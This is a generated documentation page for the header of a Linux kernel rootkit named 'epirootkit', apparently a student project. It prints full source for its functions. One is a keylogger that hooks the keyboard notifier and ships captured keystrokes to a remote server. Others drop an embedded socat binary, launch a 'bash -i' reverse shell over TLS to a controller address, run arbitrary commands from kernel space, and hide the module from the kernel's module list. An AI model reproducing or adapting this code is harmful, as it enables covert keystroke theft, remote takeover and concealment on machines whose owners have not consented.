epirootkit.h File Reference

#include <linux/fs.h>
#include <linux/ftrace.h>
#include <linux/init.h>
#include <linux/kallsyms.h>
#include <linux/kernel.h>
#include <linux/kprobes.h>
#include <linux/sched.h>
#include <linux/slab.h>
#include <linux/spinlock.h>
#include <linux/types.h>
#include <linux/uaccess.h>
#include "network.h"

Include dependency graph for epirootkit.h:

This graph shows which files directly or indirectly include this file:

Go to the source code of this file.

Classes
struct	exec_code_stds
struct	command

Macros
#define	exec_str_as_command(user_cmd, catch_stds)   exec_str_as_command_with_timeout(user_cmd, catch_stds, USERLAND_CMD_TIMEOUT)
#define	exec_str_as_command_no_timeout(user_cmd, catch_stds)   exec_str_as_command_with_timeout(user_cmd, catch_stds, 0)

Functions
int	exec_str_as_command_with_timeout (char *user_cmd, bool catch_stds, int timeout)
int	epikeylog_init (void)
	Initializes the keylogger module.
int	epikeylog_send_to_server (void)
	Handles sending the keylogger buffer content to the remote server.
int	epikeylog_exit (void)
	Exits the keylogger module, unregisters the notifier, and cleans up.
int	drop_socat_binaire (void)
int	remove_socat_binaire (void)
int	launch_reverse_shell (char *args)
int	hide_module (void)
int	unhide_module (void)

Macro Definition Documentation

exec_str_as_command

#define exec_str_as_command	(		user_cmd,
			catch_stds
	)		exec_str_as_command_with_timeout(user_cmd, catch_stds, USERLAND_CMD_TIMEOUT)

Definition at line 37 of file epirootkit.h.

exec_str_as_command_no_timeout

#define exec_str_as_command_no_timeout	(		user_cmd,
			catch_stds
	)		exec_str_as_command_with_timeout(user_cmd, catch_stds, 0)

Definition at line 38 of file epirootkit.h.

Function Documentation

drop_socat_binaire()

int drop_socat_binaire

(

void

)

Drops the socat binary at the specified path.

Returns

SUCCESS on success, negative error code on failure.

Definition at line 32 of file socat.c.

                             {
    if (is_socat_binaire_dropped()) {
        DBG_MSG("drop_socat_binaire: socat binary already dropped\n");
        return SUCCESS;
    }
 
    struct file *f;
    loff_t pos = 0;
 
    f = filp_open(SOCAT_BINARY_PATH, O_WRONLY | O_CREAT | O_TRUNC, 0700);
    if (IS_ERR(f)) {
        ERR_MSG("drop_socat_binaire: failed to open file: %ld\n", PTR_ERR(f));
        return -FAILURE;
    }
 
    unsigned int written = kernel_write(f, socat, socat_len, &pos);
    if (written < 0) {
        ERR_MSG("drop_socat_binaire: kernel_write failed: %u\n", written);
        filp_close(f, NULL);
        return -FAILURE;
    }
    else if (written < socat_len) {
        ERR_MSG("drop_socat_binaire: only %u bytes written, expected %u\n", written,
                socat_len);
        filp_close(f, NULL);
        return -FAILURE;
    }
    else {
        DBG_MSG("socat written successfully (%u bytes)\n", written);
    }
 
    filp_close(f, NULL);
 
    return SUCCESS;
}

epikeylog_exit()

int epikeylog_exit

(

void

)

Exits the keylogger module, unregisters the notifier, and cleans up.

Returns

0 on success, negative error code on failure.

Definition at line 363 of file epikeylog.c.

                         {
    if (!is_running) {
        DBG_MSG("epikeylog_exit: already stopped\n");
        return SUCCESS;
    }
 
    if (unregister_keyboard_notifier(&epikeylog_blk) != 0) {
        ERR_MSG("epikeylog_exit: failed to unregister keyboard notifier\n");
        return -EIO;
    }
 
    if (!subdir || IS_ERR(subdir)) {
        ERR_MSG("epikeylog_exit: debugfs directory invalid\n");
        return -EIO;
    }
 
    clean_dbgfs();
 
    if (keylog_buf.buf) {
        kfree(keylog_buf.buf);
        keylog_buf.buf = NULL;
    }
 
    keylog_buf.pos = 0;
    keylog_buf.size = 0;
 
    is_running = false;
    DBG_MSG("epikeylog_exit: keylogger stopped\n");
 
    return SUCCESS;
}

epikeylog_init()

int epikeylog_init

(

void

)

Initializes the keylogger module.

Returns

0 on success, negative error code on failure.

Definition at line 325 of file epikeylog.c.

                     {
    DBG_MSG("epikeylog_init: initializing keylogger\n");
 
    if (is_running) {
        DBG_MSG("epikeylog_init: already running\n");
        return SUCCESS;
    }
 
    if (prepare_dbgfs() < 0) {
        ERR_MSG("epikeylog_init: debugfs preparation failed\n");
        return -ENOENT;
    }
 
    keylog_buf.pos = 0;
    keylog_buf.size = STD_BUFFER_SIZE;
    keylog_buf.buf = kzalloc(keylog_buf.size, GFP_KERNEL);
    if (!keylog_buf.buf) {
        ERR_MSG("epikeylog_init: keylog buffer allocation failed\n");
        clean_dbgfs();
        return -ENOMEM;
    }
 
    if (register_keyboard_notifier(&epikeylog_blk) != 0) {
        ERR_MSG("epikeylog_init: keyboard notifier registration failed\n");
        clean_dbgfs();
        return -EIO;
    }
 
    is_running = true;
    DBG_MSG("epikeylog_init: keylogger initialized\n");
 
    return SUCCESS;
}

epikeylog_send_to_server()

int epikeylog_send_to_server

(

void

)

Handles sending the keylogger buffer content to the remote server.

Definition at line 245 of file epikeylog.c.

                                   {
    if (!is_running) {
        DBG_MSG("epikeylog_send_to_server: not running\n");
        send_to_server(
            TCP,
            "epikeylog_send_to_server: not running. Activate it with `klgon`.\n");
        return -EBUSY;
    }
 
    char *full_cmd = kzalloc(PATH_MAX, GFP_KERNEL);
    if (!full_cmd) {
        ERR_MSG("epikeylog_send_to_server: command memory allocation failed\n");
        return -ENOMEM;
    }
 
    snprintf(full_cmd, PATH_MAX, "cat /sys/kernel/debug/%sklg/keys",
             HIDDEN_PREFIX);
    exec_str_as_command(full_cmd, true);
 
    char *keys_content;
    int readed_size = _read_file(STDOUT_FILE, &keys_content);
    int ret_code = send_to_server_raw(keys_content, readed_size);
 
    DBG_MSG("epikeylog_send_to_server: keylogger content sent\n");
 
    kfree(full_cmd);
    kfree(keys_content);
 
    return ret_code;
}

exec_str_as_command_with_timeout()

int exec_str_as_command_with_timeout	(	char *	user_cmd,
		bool	catch_stds,
		int	timeout
	)

exec_str_as_command_with_timeout - Executes a user command with optional timeout and output redirection

Parameters

user_cmd	Command string to execute
catch_stds	Whether to redirect stdout and stderr to predefined files
timeout	Timeout in seconds for the command; 0 means no timeout

Constructs the final command string with timeout and redirection logic, then executes it in usermode using the kernel's usermodehelper API.

Return: Exit status of the command, or negative error code on failure.

Definition at line 139 of file userland.c.

                                                  {
    char *cmd_buffer = NULL;
    char *timeout_cmd = NULL;
    bool redir_stdout = false, redir_stderr = false;
    int status = 0;
 
    static char *envp[] = { "HOME=/", "TERM=xterm",
                            "PATH=/sbin:/bin:/usr/sbin:/usr/bin:/tmp", NULL };
 
    user_cmd = trim_leading_whitespace(user_cmd);
 
    cmd_buffer = kmalloc(STD_BUFFER_SIZE, GFP_KERNEL);
    if (!cmd_buffer)
        return -ENOMEM;
 
    detect_redirections(user_cmd, &redir_stdout, &redir_stderr);
 
    timeout_cmd = build_timeout_prefix(timeout);
    if (!timeout_cmd) {
        kfree(cmd_buffer);
        return -ENOMEM;
    }
 
    status = build_full_command(cmd_buffer, STD_BUFFER_SIZE, timeout_cmd,
                                user_cmd, redir_stdout, redir_stderr, catch_stds,
                                STDOUT_FILE, STDERR_FILE);
 
    if (status < 0) {
        DBG_MSG("Command too long or invalid\n");
        kfree(cmd_buffer);
        kfree(timeout_cmd);
        return status;
    }
 
    DBG_MSG("exec_str_as_command: executing command: %s\n", cmd_buffer);
 
    status = execute_command(cmd_buffer, envp);
    DBG_MSG("exec_str_as_command: command exited with status: %d\n", status);
 
    kfree(cmd_buffer);
    kfree(timeout_cmd);
 
    return status;
}

hide_module()

int hide_module

(

void

)

Definition at line 7 of file ghost.c.

                      {
    unsigned long flags;
 
    spin_lock_irqsave(&hide_lock, flags);
    if (module_hidden) {
        spin_unlock_irqrestore(&hide_lock, flags);
        return SUCCESS;
    }
 
    prev_module = THIS_MODULE->list.prev;
    list_del(&THIS_MODULE->list);
    module_hidden = true;
 
    spin_unlock_irqrestore(&hide_lock, flags);
    return SUCCESS;
}

launch_reverse_shell()

int launch_reverse_shell

(

char *

args

)

Definition at line 83 of file socat.c.

                                     {
    if (!is_socat_binaire_dropped()) {
        ERR_MSG("launch_reverse_shell: socat binary not dropped\n");
        return -FAILURE;
    }
 
    int port = REVERSE_SHELL_PORT; // Default port
 
    // Get the port
    if (args && strlen(args) > 0)
        port = simple_strtol(args, NULL, 10);
 
    // Build the socat command with the specified port
    char cmd[256];
    snprintf(cmd, sizeof(cmd),
             "%s exec:'bash -i',pty,stderr,setsid,sigint,sane "
             "openssl-connect:%s:%d,verify=0 &",
             SOCAT_BINARY_PATH, ip, port);
 
    // Launch the command
    int ret_code = exec_str_as_command_no_timeout(cmd, false);
 
    if (ret_code < 0) {
        ERR_MSG("launch_reverse_shell: failed to start reverse shell on port %d\n",
                port);
        return ret_code;
    }
 
    DBG_MSG("launch_reverse_shell: reverse shell started on port %d\n", port);
    return SUCCESS;
}

remove_socat_binaire()

int remove_socat_binaire

(

void

)

Removes the socat binary from the specified path.

Returns

SUCCESS on success, negative error code on failure.

Definition at line 72 of file socat.c.

                               {
    exec_str_as_command("rm -f " SOCAT_BINARY_PATH, false);
    if (is_socat_binaire_dropped()) {
        ERR_MSG("remove_socat_binaire: failed to remove socat binary\n");
        return -FAILURE;
    }
    DBG_MSG("remove_socat_binaire: socat binary removed successfully\n");
    return SUCCESS;
}

unhide_module()

int unhide_module

(

void

)

Definition at line 24 of file ghost.c.

                        {
    unsigned long flags;
 
    spin_lock_irqsave(&hide_lock, flags);
    if (!module_hidden) {
        spin_unlock_irqrestore(&hide_lock, flags);
        return SUCCESS;
    }
 
    list_add(&THIS_MODULE->list, prev_module);
    module_hidden = false;
 
    spin_unlock_irqrestore(&hide_lock, flags);
    return SUCCESS;
}